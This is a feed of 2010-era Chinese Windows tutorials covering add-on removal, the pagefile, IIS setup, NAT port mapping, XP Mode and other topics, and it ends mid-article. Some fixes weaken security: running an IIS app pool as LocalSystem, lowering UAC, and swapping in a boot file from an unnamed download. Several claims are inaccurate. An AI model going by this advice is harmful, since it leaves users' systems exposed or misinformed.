<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9735.html </link>
<description> </description>
<text>

　　IE8为我们提供了非常好的加载项管理工具，我们可以禁用或删除特定加载项：

　　但是，有的加载项&amp;ldquo;删除&amp;rdquo;不可选的，这时如果是你不想要的或流氓加载项咋办?如果你不只是禁用掉它，还需要永久删除掉它，怎么办?
　　之前，经过测试，卡卡上网安全助手、360安全卫士、金山清理专家等都为提供这样的功能!

　　当然，这种情况下得手动删除了：
　　比如卸载上述&amp;ldquo;ThunderAtOnce Class&amp;rdquo;：首先注销文件&amp;ldquo;TDAtOnce_Now.dll&amp;rdquo;，执行regsvr32 /u TDAtOnce_Now.dll;
　　注销dll的另一种方式就是：打开注册表，搜索TDAtOnce_Now.dll对应的类ID(01443AEC-0FD1-40FD-9C87-E93D1494C233)，然后删除。
　　最后在相应的路径删除TDAtOnce_Now.dll即可。
　　注：不要在注销前删除文件，那样会影响系统稳定性的。
　　下面介绍一个很好用的维护工具System Repair Engineer，它提供了相应的功能，很不错：

　　如果嫌手动删除麻烦的话，使用它也是一个好的选择。 </text>
<image>http://www.itxia.com/uploads/allimg/c100718/12O4161V93160-15X4_lit.png </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>烈火网( LieHuo.Net )教程 首先先来了解一下windows下的页面文件 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9736.html </link>
<description> </description>
<text>

　　烈火网(LieHuo.Net)教程 首先先来了解一下windows下的页面文件:页面文件是指操作系统用来构建虚拟内存的硬盘空间。要整理页面文件，首先将页面文件从原先所在的驱动器移动到其他驱动器，然后对原来驱动器进行整理，最后再将页面文件移回到原驱动器上，此时页面文件就会存放在连续的磁盘空间中了。
　　具体来说，在windows操作系统下(Windows 2000/XP)pagefile.sys这个文件，它就是系统页面文件(也就是大家熟知的虚拟内存文件)，它的大小取决于打开的程序多少和你原先设置页面文件的最小最大值，是不断变化的，有时可能只有几十M，有时则达到600M以上。
　　一些大型软件由于对内存的消耗比较大，也单独开辟一部分硬盘空间作为缓冲，这部分硬盘空间的实体就是软件创建的页面文件，比如Photoshop。这种设计可以缓解系统调度内存的压力，并提高软件运行速度。
　　如果计算机缺少运行程序或操作所需的随机存取内存 (RAM)，则 Windows 使用虚拟内存进行补偿。
　　我们都知道，虽然在运行速度上硬盘不如内存，但在容量上内存是无法与硬盘相提并论的。当运行一个程序需要大量数据、占用大量内存时，内存就会被&amp;ldquo;塞满&amp;rdquo;，并 将那些暂时不用的数据放到硬盘中，而这些数据所占的空间就是虚拟内存。现在我们也明白为什么pagefile.sys的大小会经常变化了。
　　在Windows2000(XP)目录下有一个名为pagefile.sys的系统文件(Windows98下为Win386.swp)，它的大小经常自己发生变动，小的时候可能只有几十兆，大的时候则有数百兆，这种毫无规律的变化实在让很多人摸不着头脑。其实，pagefile.sys是Windows下的一个虚拟内存，它的作用与物理内存基本相似，但它是作为物理内存的&amp;ldquo;后备力量&amp;rdquo;而存在的，也就是说，只有在物理内存已经不够使用的时候，它才会发挥作用。
　　内存在计算机中的作用很大，电脑中所有运行的程序都需要经过内存来执行，如果执行的程序分配的内存的总量超过了内存大小，就会导致内存消耗殆尽。为了解决这个问题，Windows中运用了虚拟内存技术，即拿出一部分硬盘空间来充当内存使用，当内存占用完时，电脑就会自动调用硬盘来充当内存，以缓解内存的紧张。
　　出现&amp;ldquo;虚拟内存不够&amp;rdquo;的几个可能
　　1、感染病毒
　　有些病毒发作时会占用大量内存空间，导致系统出现内存不足的问题。赶快去杀毒，升级病毒库，然后把防毒措施做好!
　　2、虚拟内存设置不当
　　虚拟内存设置不当也可能导致出现内存不足问题，一般情况下，虚拟内存大小为物理内存大小的2倍即可，如果设置得过小，就会影响系统程序的正常运行。重新调整虚拟内存大小以WinXP为例，右键点击&amp;ldquo;我的电脑&amp;rdquo;，选择&amp;ldquo;属性&amp;rdquo;，然后在&amp;ldquo;高级&amp;rdquo;标签页，点击&amp;ldquo;性能&amp;rdquo;框中的&amp;ldquo;设置&amp;rdquo;按钮，切换到&amp;ldquo;高级&amp;rdquo;标签页，然后在&amp;ldquo;虚拟内存&amp;rdquo;框中点击&amp;ldquo;更改&amp;rdquo;按钮，接着重新设置虚拟内存大小，完成后重新启动系统就好了。
　　3、系统空间不足
　　虚拟内存文件默认是在系统盘中，如WinXP的虚拟内存文件名为&amp;ldquo;pagefile.sys&amp;rdquo;，如果系统盘剩余空间过小，导致虚拟内存不足，也会出现内存不足的问题。系统盘至少要保留300MB剩余空间，当然这个数值要根据用户的实际需要而定。用户尽量不要把各种应用软件安装在系统盘中，保证有足够的空间供虚拟内存文件使用，而且最好把虚拟内存文件安放到非系统盘中。
　　4、因为SYSTEM用户权限设置不当
　　基于NT内核的Windows系统启动时，SYSTEM用户会为系统创建虚拟内存文件。有些用户为了系统的安全，采用NTFS文件系统，但却取消了SYSTEM用户在系统盘&amp;ldquo;写入&amp;rdquo;和&amp;ldquo;修改&amp;rdquo;的权限，这样就无法为系统创建虚拟内存文件，运行大型程序时，也会出现内存不足的问题。问题很好解决，只要重新赋予SYSTEM用户&amp;ldquo;写入&amp;rdquo;和&amp;ldquo;修改&amp;rdquo;的权限即可，不过这个仅限于使用NTFS文件系统的用户。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>烈火网( LieHuo.Net )教程 最近整理C盘，发现C盘有很多无法移动 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9737.html </link>
<description> </description>
<text>

　　烈火网(LieHuo.Net)教程 最近整理C盘，发现C盘有很多&amp;ldquo;无法移动的文件&amp;rdquo;(绿色部分)，很奇怪啊，我已经将&amp;ldquo;虚拟内存&amp;rdquo;中的&amp;ldquo;页面文件大小&amp;rdquo;都设置为&amp;ldquo;无分页文件&amp;rdquo;并且重新启动了机器。
　　于是在&amp;ldquo;工具&amp;rdquo;-&amp;ldquo;文件夹选项&amp;rdquo;-&amp;ldquo;查看&amp;rdquo;中，设置将隐藏文件全部显示出来。
　　发现有一个hiberfil.sys文件，有1.78G大小，网上一查：
　　在系统区根目录下会有一个 hiberfil.sys 的文件，它的大小和内存容量一样，这是什么文件呢?
　　原来这个就是系统的休眠功能所占用的硬盘空间的文件(Windows 默认休眠功能是处于打开状态的)，电脑处于休眠状态时，内存中的所有内容将保存到硬盘，并且电脑会被关闭。
　　电脑在返回打开状态之后，关闭电脑时打开的所有程序和文档将全都还原到桌面。
　　也就是说，当你让电脑进入休眠状态时，Windows 在关闭系统前将所有的内存内容写入hiberfil.sys文件。
　　而后，当你重新打开电脑，操作系统使用Hiberfil.sys把所有信息放回内存，电脑恢复到关闭前的状态。
　　然而，Windows 在硬盘上留下了hiberfil.sys文件，即使这个文件不再需要了。
　　原来是这样!并且不限于XP或NT。
　　现在知道如何解决这个问题了...... </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>烈火网( LieHuo.Net )教程 无法打开登录所请求的数据库DbName 。 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9738.html </link>
<description> </description>
<text>

　　烈火网(LieHuo.Net)教程 无法打开登录所请求的数据库DbName 。登录失败。 用户 'IIS APPPOOL-DefaultAppPool' 登录失败。 的解决方案。这个问题是应用程序连接池的问题。网上有些朋友说是Temp文件夹的权限的问题。也许有其它的情况是那样产生的。
　　本问题的特征是：数据库是SQL Server Express、程序在VS中调试成功，但是在在IIS中产生类似如下的问题
　　无法打开登录所请求的数据库 &amp;quot;dbName&amp;quot;。登录失败。
　　用户 'IIS APPPOOL\DefaultAppPool' 登录失败。
　　解决方案
　　1、先查看你的网站使用的是哪个应用程序池

　　2、设置应用程序池的选项


　　这里只要选LocalSystem或NetworkService就可以解决问题 </text>
<image>http://www.itxia.com/uploads/allimg/c100718/12O41620a1V0-13029_lit.jpg </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>来自资讯网站PcWorld的消息，有一则科技博客中撰写了有关提升Win </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9739.html </link>
<description> </description>
<text>

　　来自资讯网站PcWorld的消息，有一则科技博客中撰写了有关提升Windows 7安全性能的七种方法，现在将这七种方法与大家一起分享。
　　软件制造商为了提高软件的可用性经常会以牺牲安全性为代价，微软也不例外。
　　与Windows Vista相比，微软的下一代操作系统Windows 7具有更强的安全性。如今对用户产生威胁的因素通常是由于恶意软件的攻击和用户缺乏保护意识造成的。
　　下面所列举的七种方法通过简单的安装设置就可以完成：
　　1、Install anti-spam and anti-malware software(安装反病毒木马软件)
　　对用户而言，威胁通常来自于木马、恶意软件、假冒的病毒扫描程序。不管你是计算机专家还是菜鸟，装备一款合适的杀毒软件是十分有必要的，同时记住保持杀毒软件的更新，防范新的恶意程序攻击。
　　本周，微软官方向用户推荐了十款Windows 7适用杀毒软件，它们是：AVG、诺顿、卡巴斯基、McAfee、Trend Micro、Panda Security、F-Secure、Webroot、BullGuard、G-Data
　　2、Enable the SmartScreen Filter in Internet Explorer 8(开启IE8智能过滤功能)
　　浏览器正逐渐成为最容易被攻击的目标，Windows 7的浏览器IE8安全菜单中有项智能截屏过滤功能，用户开启此项功能后，可以与微软的网站数据库链接起来，对比审核所访问的网站是否安全，大大降低了误入不明网站中毒的可能性。
　　3、Enable BitLocker(磁盘加密位元锁)
　　Windows 7中的磁盘加密位元锁可以用来加密任何硬盘上的信息，包括启动、系统甚至移动媒体，鼠标右键就可以在选项中加密Windows资源管理器中的数据。用户可以在设置菜单中选择希望加锁的文件，被加密的文件可以被设置为只读，且不能被重新加密。
　　在保存好Bitlocker信息后关闭电脑，BitLocker的恢复信息存储在计算机的属性文件中，大多数情况下自动备份用户的密码恢复到Active Directory。所以要确保可以访问这些属性，防止丢失密码后无法恢复文件。
　　4、Raise the UAC slider bar(提升安全级别)
　　Windows 7的用户帐户控制得到较大的改进，在区别合法和非法程序时表现得十分精确、迅速。根据用户的登录方式(管理员或普通用户)默认UAC安全级别设置，可以选择不同敏感度的防御级别。
　　Windows 7中设计了一个简单的用户帐户控制滚动条，方便管理员或标准用户设置它们的UAC安全级别。
　　建议将UAC安全级别设置为&amp;ldquo;始终通知&amp;rdquo;，请放心Windows 7中遇到的安全通知要比Vista少很多。
　　虽然UAC功能提供了一个必要的防御机制，但是为了系统的稳定性，请谨慎使用管理员帐户。
　　5、Patch everything(及时升级)
　　在Windows 7的默认设置中，Windows升级服务将自动下载并安装重要的Windows系统和应用程序的升级包。
　　有一项研究表明，微软的软件是世界上补丁最多的产品。但是系统并没有提醒你，及时更新其他的非系统软件，比如浏览器、媒体播放器等。黑客们现在都喜欢从这些方面对电脑进行攻击。
　　上周发生的针对IE浏览器发动的零日攻击就是一个典型的例子。尽量保证系统中运行的程序都已升级到新的版本，将漏洞存在的可能降到最低。
　　6、Take an inventory(清理垃圾文件)
　　用户使用一段时间后，会觉得电脑速度变得慢了，这通常是由于系统中产生了大量的垃圾文件。清理掉无用的垃圾文件，相当于给自己的电脑减肥。
　　清理的方法有很多，在Windows 7中有一个工具：Microsoft's Autoruns。Autorun中记录了每一个在系统中运行过的程序和服务，你可以通过点击鼠标将无用的文件删除。
　　在这里需要注意的是，如果遇到你不认识的程序，先做一个调查再进行操作，防止不小心删除了重要的数据。
　　7、Back up your data(备份数据)
　　道高一尺，魔高一丈。有的时候真的是防不胜防，即使做了很多努力，当病毒来临时防御措施仍可能变的不堪一击。及时备份重要数据才是王道，这样就算遇到了极具杀伤性的病毒，也可以通过恢复数据轻松解决。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>电脑在上网的时，在使用IE打开网站后，网页会出现不完整的部分， </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9740.html </link>
<description> </description>
<text>

　　电脑在上网的时，在使用IE打开网站后，网页会出现不完整的部分，到处都是红XX.这种情况如何解决?
　　pcpxp.com解答：如果打开其他网站不是这样的话，那就是网站服务器问题，如果打开其他网站也是这样的话，那么就是你本地的问题，可能是网速或者本地机子设置的问题，如果能确定是网速的问题，那么请打咨询电话询问你的网络营运商，如果排除了网速问题，则可能是如下问题：
　　1.没有flash插件
　　2.被上网助手，google等工具条拦截功能拦截。
　　3.INTERNET选项里，用用户自己禁止。
　　解决方法：
　　1、重新安装Adobe Flash Player 9插件，点击进入下载地址。
　　2、把工具条的拦截功能禁止。
　　3、恢复IE成为默认设置 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>本文讲述了在Windows7下如何安装IIS7，以及IIS7在安装过程中的一 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9741.html </link>
<description> </description>
<text>

　　本文讲述了在Windows7下如何安装IIS7，以及IIS7在安装过程中的一些需要注意的设置，以及在IIS7下配置ASP的正确方法。
　　注：本人安装的是Windows7RC710032位中文旗舰版。
　　在Windows7下面IIS7的安装方法：
　　一、进入Windows7的控制面板，选择左侧的打开或关闭Windows功能。
　　三、安装完成后，再次进入控制面板，选择管理工具，双击Internet(IIS)管理器选项，进入IIS设置。
　　四、现在进入到IIS7控制面板。
　　五、选择DefaultWebSite，并双击ASP的选项，
　　六、IIS7中ASP父路径是没有启用的，要开启父路径，选择True，搞定父路径选项。
　　七、配置IIS7的站点。单击右边的高级设置选项，可以设置网站的目录。
　　八、点击右侧的绑定...，设置网站的端口。
　　九、点击默认文档，设置网站的默认文档。
　　至此，Windws7的IIS7设置已经基本完成了，ASP+Access程序可以调试成功。
　　说明：本人安装前已经将UAC设置到最低。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>问题： 应用某些主板的计算机安装Windows7，在复制安装文件后进 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9742.html </link>
<description> </description>
<text>

　　问题：
　　应用某些主板的计算机安装Windows7，在复制安装文件后进入&amp;ldquo;正在启动Windows&amp;rdquo;(Starting Windows)界面时死机。
　　现象为四个小光球一直不出现或是出现到一半时卡死。
　　出现此问题时请先在BIOS中尝试禁用ACPI，
　　如上述方法无效请在继续安装前使用PE或Win7系统安装盘(修复模式)引导进入系统，使用下面的文件替换Windows7分区中Winload.exe文件
　　例如，Win7被安装在D盘时，Winload.exe文件路径即为D:\Windows\System32\Winload.exe
　　此文件从Windows7 Beta 7000安装盘中提取，实验证实此版本Winload.exe比新版本产生不兼容故障的概率要低。
　　替换文件后，请重新启动计算机继续Windows7 Setup
　　Winload.exe下载地址
　　点击下载 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>烈火网( LieHuo.Net )教程 最近在家里的电脑上新装了Windows7(RT </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9743.html </link>
<description> </description>
<text>

　　烈火网(LieHuo.Net)教程 最近在家里的电脑上新装了Windows7(RTM 7600旗舰版)，前晚使用daemon tools 4.35.0306 Pro Advanced(试用)连续安装了Visual Studio 2010 Beta1英文版和Office 2007 Pro后关机睡觉。
　　不曾想昨晚启动Windows7时在旗帜标志那里卡死：　　

　　(这是英文版的启动画面，我的是中文版，此图仅为示意)
　　强启之后Windows7弹出自动修复的对话框，我点了自动修复，大概30秒后提示自动修复成功。
　　重启后依然卡死，修复失败。
　　在安全模式下启动，成功进入，怀疑是软件与系统的问题。而出问题之前我只新增了三个软件(即本文开始的那三个，Daemon Tools，VS 2010,Office 2007)。上网搜索没有发现安装VS2010和Office2007出现无法启动的现象，但是却发现有朋友安装了Daemon Tools之后无法启动。看来原因基本确定了，是目前的Daemon Tools对于windows 7的支持不够完善。不过也有可能是三个软件之间的冲突的原因。因为很多使用Daemon Tools运行与windows 7下的人都声称使用中没有发现问题。
　　我再细想可能是因为Daemon Tools没有完全配置好(安装后没有重启)，我就开始使用它，并且连续安装了两个很大的软件，导致机器在启动时加载服务过多，负担过重，加之我的电脑配置很一般而导致系统在Windows旗帜处卡死。 </text>
<image>http://www.itxia.com/uploads/allimg/c100718/12O416222120-11230_lit.jpg </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>本文介绍的端口映射指的是利用Windows2003服务期的NAT功能，将对 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9744.html </link>
<description> </description>
<text>

　　本文介绍的端口映射指的是利用Windows2003服务期的NAT功能，将对该服务器上某个公网IP指定端口的访问转发到和该服务器所连接的内部局域网某台服务器上。
　　配置分为NAT服务器的配置和内部局域网服务器的配置两部分：
　　一、NAT服务器的配置
　　对Windows2003服务器的要求：拥有两张网卡，一张配置有公网IP，连接到Internet，一张连接到内部局域网。为便于阐述，假设两张网卡IP配置如下：
　　公网网卡：IP=220.179.244.238，NetMask=255.255.255.0，GW=220.179.244.129
　　局域网网卡：IP=192.168.0.1，NetMask=255.255.255.0，不配置GW
　　NAT端口映射配置步骤：
　　1. 从控制面板的管理工具打开路由和远程访问;
　　2. 在打开的界面左边树形目录中，选择标识有(本地)名称的服务器，右键菜单配置并启用路由和远程访问;
　　3.在弹出的界面选择第2项：&amp;ldquo;网络地址转换(NAT)&amp;rdquo;，进入下一步;
　　3.在&amp;ldquo;Nat Internet连接&amp;rdquo;界面中选择公网IP的网卡，进入下一步;
　　4.在&amp;ldquo;网络选择&amp;rdquo;界面中选择连接到内部局域网的网卡，进入下一步;
　　5.点击&amp;ldquo;完成&amp;rdquo;按钮。
　　以上步骤配置完后，在树形目录&amp;ldquo;IP路由选择&amp;rdquo;下将会有个&amp;ldquo;NAT/基本防火墙&amp;rdquo;的节点，选中它后，在右边的视图内会有几个连接，选择公网IP的那个连接，进入它的属性配置。
　　在属性配置界面上有几个TAB，分别是&amp;ldquo;NAT/基本防火墙&amp;rdquo;、&amp;ldquo;地址池&amp;rdquo;、&amp;ldquo;服务和端口&amp;rdquo;、&amp;ldquo;ICMP&amp;rdquo;。我们主要配置第1和第3项。
　　&amp;ldquo;NAT/基本防火墙&amp;rdquo;：接口类型选择&amp;ldquo;公用接口连接到Internet&amp;rdquo;，并确保&amp;ldquo;在此接口上启动NAT&amp;rdquo;打勾，防火墙配置随意;
　　&amp;ldquo;服务和端口&amp;rdquo;：服务和端口是端口映射的重点，它配置的是对公用地址哪些端口的访问将被转发到内部局域网的哪个IP和端口上。选择添加进入&amp;ldquo;添加服务&amp;rdquo;界面，公用地址表示连接到公网的接口，选择&amp;ldquo;在此接口&amp;rdquo;;协议则根据服务的类型选择TCP或UDP;传入端口指对哪个端口的访问将被转发;专用地址指
　　的是访问将会转发到的内部局域网中的服务器的IP地址;传出端口指的是访问被转发到内部局域网服务器的哪个端口上。如果需要转发的端口已经在服务列表中，就不用添加了，直接编辑即可。
　　注意，配置完后需重器路由和远程访问。
　　二、内部局域网服务器的配置
　　内部局域网服务器的配置比较简单，将该服务器的网关设置成NAT服务器的局域网网卡IP即可。假设配置IP为192.168.0.2，子网掩码255.255.255.0，网关192.168.0.1。
　　三、测试NAT
　　注意，测试的时候需从另一个局域网访问220.179.244.238这个公网IP(即不能在和内部服务器同一个网段的机上发起访问)，否则是不会成功的。（烈火网） </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>Windows XP Mode(XPM)是基于Virtual PC 技术在Windows 7 中运行W </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9745.html </link>
<description> </description>
<text>副标题#e#
						



　　Windows XP Mode(XPM)是基于Virtual PC 技术在Windows 7 中运行Windows XP 的应用程序，这样一来想运行IE6等应用程序就无需进入虚拟机了也方便Web开发人员进行测试，也可以解决一些Windows 7 软件不兼容问题。
　　注意：使用XPM前可以检测一下自己的机器是否支持虚拟化功能，可以通过SecurAble软件测试，如果测试结果中第二、三项均为No，说明机器不支持虚拟化功能，那就不必下载XPM的相关程序了。如果第二项为Yes，第三项为Locked ON 则表示支持，若为Locked Off 则表示BIOS关闭了虚拟化功能，可以考虑升级BIOS来支持该功能。
　　首先需要下载新版 Windows Virtual PC 和 Windows XP Mode 程序，下载地址：http://www.microsoft.com/windows/virtual-pc/download.aspx。
　　1，安装Windows Virtual PC(VPC)
　　运行程序Windows6.1-KB958559-x86.msu进行安装。




						#p#副标题#e#



　　2，安装并运行Windows XP Mode
　　运行程序WindowsXPMode_en-us.exe进行安装。




#p#副标题#e#



　　上图点击【Finish】后，开始运行Windows XP Mode：

　　设置登录密码



#p#副标题#e#



　　初始化Windows XP Mode

　　Windows XP Mode已启动，其实就是一台Windows XP虚拟机，有一点特色的是虚拟机与Win7之间无需反复切换鼠标(不错!)。

　　若之前用Virtual PC 2007 安装过虚拟机的话，可以通过Windows Virtual PC直接运行，并升级为新的虚拟机程序不用重新创建，至此XPM已经部署完毕。

#p#副标题#e#



　　安装完VPC和XPM后的菜单多出了&amp;ldquo;Windows Virtual PC&amp;rdquo; 选项(先不用在意有无&amp;ldquo;Windows XP Mode Applications&amp;rdquo; 选项)：

　　3，运行XPM中的应用程序
　　如果现在XPM是启动状态，请先将其Shut down&amp;hellip; &amp;hellip;
　　进入Windows Virtual PC菜单，运行Windows Virtual PC程序，右键Windows XP Mode.vmcx，选择Settings：

　　确认&amp;ldquo;Auto Publish&amp;rdquo;选项中&amp;ldquo;Automatically publish virtual applications&amp;rdquo;是选中状态：


#p#副标题#e#



　　下面就要在Windows 7 中运行一下IE6，首先在启动XPM，在XP虚拟机C:\Documents and Settings\All Users\Start Menu\Programs中创建IE6快捷方式：

　　创建完快捷方式后，看看Windows 7 的菜单栏有什么变化：


#p#副标题#e#



　　可以看到Windows Virtual PC菜单中多了&amp;ldquo;Windows XP Mode Applications&amp;rdquo; 选项，并且里面有了Internet Explorer(Windows XP Mode)，点击便会在Win7中运行IE6，来个IE6和IE8的合影吧：

　　这样就可以在Windows 7 中任意运行Windows XP的程序了，在XPM中安装一个Office 2003看看Win7 有什么变化：


#p#副标题#e#



　　运行Word 2003：

　　以上测试环境为Windows 7 Ultimate RC，注意：Windows XP Mode 只支持 Windows 7 Professional, Windows 7 Ultimate, Windows 7 Enterprise 版本操作系统，并且Windows XP Mode RC 只能运行于 Windows 7 RC 操作系统。
　　至此XPM的基本应用就介绍完了。文章来自：http://www.cnblogs.com/gnielee/ </text>
<image>http://www.itxia.com/uploads/allimg/c100718/12O41623962920-2S11_lit.png </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>看到很多人安装sp3和IE7之后，发现对IE7不习惯，想卸掉ie7 现在 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9746.html </link>
<description> </description>
<text>

看到很多人安装sp3和IE7之后，发现对IE7不习惯，想卸掉ie7 现在提供微软官方提供的比较彻底的卸载ie7的好方法，不需要借助其他软件，用微软系统里的Spuninst.exe就可以完美解决，我自己经过测试，先安装sp3和ie7之后，用这个方法可以很好的卸载掉ie7恢复ie6原来的面貌： --------------------- 方法 1：使用&amp;ldquo;添加或删除程序&amp;rdquo;卸载 Internet Explorer 7 步骤 1：使用&amp;ldquo;添加或删除程序&amp;rdquo;卸载 Internet Explorer 7 单击&amp;ldquo;开始&amp;rdquo;，然后单击&amp;ldquo;运行&amp;rdquo;。 在&amp;ldquo;打开&amp;rdquo;框中，键入 appwiz.cpl，然后单击&amp;ldquo;确定&amp;rdquo; 在程序列表中，点击上方的&amp;ldquo;显示更新&amp;rdquo;选项 ,单击&amp;ldquo;Windows Internet Explorer 7&amp;rdquo;，然后单击&amp;ldquo;删除&amp;rdquo;。 按照向导中的说明卸载 Internet Explorer 7。 在卸载了 Internet Explorer 7 后，重启 。 步骤 2：双击 Internet Explorer 图标，验证 Internet Explorer 6 是否已恢复。 注：有些朋友使用了错误的方法，在&amp;quot;添加/删除Window组件&amp;quot;中将XP3自带的IE删除了，导致删除IE7后没有IE可用，需要在 &amp;quot;添加/删除Window组件&amp;quot; 中 将 IE重新选中，就会看到IE6已经恢复回来了。 如果通过此方法无法卸载 Internet Explorer 7，请尝试方法 2。 ------------------------------------------------ 方法 2：使用 Spuninst.exe 卸载 Internet Explorer 7 首先： 方法：使用 Spuninst.exe 卸载 Internet Explorer 7 步骤 1：使隐藏文件和隐藏文件夹可见 a. 单击&amp;ldquo;开始&amp;rdquo;，然后单击&amp;ldquo;我的文档&amp;rdquo;。 b. 在&amp;ldquo;工具&amp;rdquo;菜单上，单击&amp;ldquo;文件夹选项&amp;rdquo;。 c. 单击&amp;ldquo;查看&amp;rdquo;选项卡。 d. 在&amp;ldquo;高级设置&amp;rdquo;列表中的&amp;ldquo;隐藏文件和文件夹&amp;rdquo;下，单击&amp;ldquo;显示所有文件和文件夹&amp;rdquo;，然后单击&amp;ldquo;确定&amp;rdquo; 然后 a. 单击&amp;ldquo;开始&amp;rdquo;，然后单击&amp;ldquo;运行&amp;rdquo;。 b. 在&amp;ldquo;打开&amp;rdquo;框中，键入 %windir%\ie7\spuninst\spuninst.exe，然后单击&amp;ldquo;确定&amp;rdquo;。 c. 按照向导中的说明卸载 Internet Explorer 7。 卸载了 Internet Explorer 7 后，电脑需要重启,再双击 Internet Explorer 图标，验证 Internet Explorer 6 是否已恢复。 </text>
<image> </image>
<keywords> </keywords>
<category>Windows </category>
<author> </author>
<source> </source>
<pubDate>2010-07-18 09:28 </pubDate>
</item>
<item>
<title>烈火网( LieHuo.Net )教程 朋友们，您大概听说过eXeScope吧，它 </title>
<link>http://www.itxia.com/a/computer/os/windows/2010/0718/9747.html </link>
<description> </description>
<text>

　　烈火网(LieHuo.Net)教程 朋友们，您大概听说过eXeScope吧，它是用来查看并修改包含在.dll .exe等类别的文件中的资源，也是汉化软件的好工具。您可以去 mydown 下载，只有400多k。下面，烈火就向大家介绍如何用eXeScope修改windows2000外观。(下文中部分的内容可能同样适合于win98)
　　一、修改windows2000的开始菜单
　　1、 修改开始菜单旁边的文字。
　　先把windows目录下的EXPLORER.EXE拷贝成另外一个文件，用eXeScope打开，在右框中选择&amp;ldquo;资源&amp;rdquo;再选择&amp;ldquo;图位&amp;rdquo;，然后选择&amp;ldquo;157&amp;rdquo;，现在在左框中，出现了一个图片(如图1)
　　正是开始菜单右边的，点击导入你所喜欢的图片，然后保存。
　　2、 修改开始菜单的项目名称。
　　如果，你认为比尔.盖茨把你的系统的开始菜单的项目名称起得不太准确，想把它们改掉的话，请看下文。
　　在右框中选择&amp;ldquo;资源&amp;rdquo;，再选择&amp;ldquo;菜单&amp;rdquo;，然后选择&amp;ldquo;204&amp;rdquo;。此时，在左框中，就会出现开始菜单的结构(如图2)，
　　只要将与开始菜单中的项目对应的文字修改为自己喜欢的即可。如果还不满意，可在其上方选择菜单的样式，如&amp;ldquo;灰色&amp;rdquo;、&amp;ldquo;高亮&amp;rdquo;等。
　　3、 修改开始菜单按钮上的&amp;ldquo;开始&amp;rdquo;。
　　在右框中选择&amp;ldquo;资源&amp;rdquo;，再选择&amp;ldquo;字串表&amp;rdquo;，然后选择&amp;ldquo;37&amp;rdquo;(如图3)，
　　把左边的框中&amp;ldquo;开始&amp;rdquo;改称自己喜欢的名称即可。
　　最后，退出windows，进入dos,将精心打造过的explorer.exe 替换回原位置即可如愿以偿。
　　二、更改系统属性
　　1、 增加oem logo。
　　用过品牌机的人都知道，这些厂商都喜欢在&amp;ldquo;系统属性&amp;rdquo;里增加oem logo，你也只要动一些手脚，你也可以做一会Microsoft的OEM厂商。其实只要把一个名为Oemlogo.bmp，大小为160X120的图位文件拷贝到系统目录下的system文件夹就可以了。(这好像是题外话 ^_^)
　　2、 修改&amp;rdquo;系统属性&amp;ldquo;的常规选项卡。
　　用eXeScope打开Windows目录下system32 (win98为system) \sysdm.cpl。点击右框的&amp;ldquo;资源&amp;rdquo;，再点击&amp;ldquo;对话框&amp;rdquo;下的&amp;ldquo;101&amp;rdquo;，在左边的文字框中出现了一些文字(如图4)，
　　你可以把它修改为自己喜欢的名字，你还可以随意改变对话框及按钮的大小位置，双击文字框可以浏览该对话框。在文字框的上方和左方可是修改对话框的样式的(如图5)，
　　在此就不多说了。
　　3、 修改修改&amp;ldquo;系统属性&amp;rdquo;的常规选项卡上那台显示器。
　　你是否非常讨厌&amp;ldquo;系统属性&amp;rdquo;里的那台显示器，想千方百计的把它换掉而又无从下手。其实，只要选择右框中的&amp;ldquo;资源&amp;rdquo;&amp;mdash;&amp;ldquo;图位&amp;rdquo;&amp;mdash;&amp;ldquo;1&amp;rdquo;，导入新的图像即可。
　　4、 修改&amp;ldquo;系统属性&amp;rdquo;中其他选项卡。
　　因为&amp;ldquo;系统属性&amp;rdquo;中的所有的选项卡、对话框都在右框的&amp;ldquo;资源&amp;rdquo;&amp;mdash;&amp;ldquo;对话框&amp;rdquo;中，所以就不说了。
　　三、修改&amp;ldquo;控制面版&amp;rdquo;中其他项目
　　其实修改&amp;ldquo;控制面版&amp;rdquo;中的其他项目的方法与上文中&amp;ldquo;更改系统属性&amp;rdquo;的方法是差不多的，大家可依自己的喜好自行修改。
　　与&amp;ldquo;控制面版&amp;rdquo;中的项目对应的文件是：system32\
　　Appwiz.cpl
　　添加删除程序
